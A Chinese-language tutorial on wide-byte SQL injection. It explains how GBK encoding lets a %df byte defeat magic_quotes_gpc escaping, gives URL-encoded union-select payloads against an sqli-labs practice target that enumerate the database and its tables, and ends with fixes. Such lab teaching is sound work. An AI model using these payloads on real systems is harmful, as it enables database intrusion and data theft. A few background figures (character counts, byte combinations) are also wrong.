sql注入——宽字节注入

 

sql注入——宽字节注入

一，宽字节的由来
一个字符其大小为一个字节那么我们称其为窄字节
那么大小为两个字节的我们称其为宽字节
所有的英文默认占一个字节
那么中文汉字默认占两个字节
例如 gb2312,GBK,GB18030,BIG5,Shift_JIS这些编码都是宽字节
英文a-zA-Z共四十八种
一个字节都是八位的二进制
那么数字的0,1组合起来就有255种但是英文只有48个那么基本应对就绰绰有余
但是我们中文汉字才止255个呢所以一个字节是不能满足我们中文汉字的编码需求
所以我们的中文，韩文，日文等都需要两个字节来表示（即16位二进制）
gbk就是双字节编码占用两个字节
UTF-8编码的一个汉字占用三个字节
二，宽字节注入的原理
1，宽字节注入主要来自程序员设置数据库编码为非英文编码就有可能产生宽字节注入
宽字节sql注入就是php发送请求mysql时使用了语句
SET names ‘gbk’ SET character_set_client=gbk
进行了依次gbk编码但是又由于一些不经意的字符集导致了宽字节注入
2，这个引入一个php防御函数
magic_quotes_gpc(魔术引号开关)
magic_quotes_gpc函数在php中的作用是判断用户输入的数据，在post,get,cookie传参中接收到的数据中加转义字符“\”，以确保这些数据不会引起程序出现致命性错误
单引号’ 双引号“ 反斜线\ null都会被加上反斜线来转义
3，magic_quotes_gpc的作用：
当php传参中有特殊字符就会在前面加转义字符\来做一定的过滤
4. 为了绕过magic_quotes_gpc的 \ ，于是开始引入宽字节。
\：编码%5c 運：编码%df%5c

三，sqli-lab靶场实战
1,用order by 排序判断字段数

?id=1%df%27%20and%201=2%20order%20by%203%23

2，使用联合查询寻找输出点

?id=-1%df%27%20and%201=2%20union%20select%201,2,3%23

3，查询数据

?id=-1%df%27%20and%201=2%20union%20select%201,database(),@@datadir%23

4，从自带库中查询库中表

?id=1%df%27%20and%201=2%20union%20select%201,2,group_concat(table_name)from%20information_schema.tables%20where%20table_schema=security%23

此处我们将security字符转换成16进制加上0x填入

?id=1%df%27%20and%201=2%20union%20select%201,2,group_concat(table_name)from%20information_schema.tables%20where%20table_schema=0x7365637572697479%23

四，如何修复
1，使用UTF-8编码格式，避免宽字节注入
ps:不仅在gbk,韩文，日文等等都是宽字节，都可能存在宽字节注入漏洞。
2，mysql_real_escape_string,mysql_set_charset(‘gbk’,$conn);针对查询语句直接加入过滤
3，可以设置参数，character_set_client=binary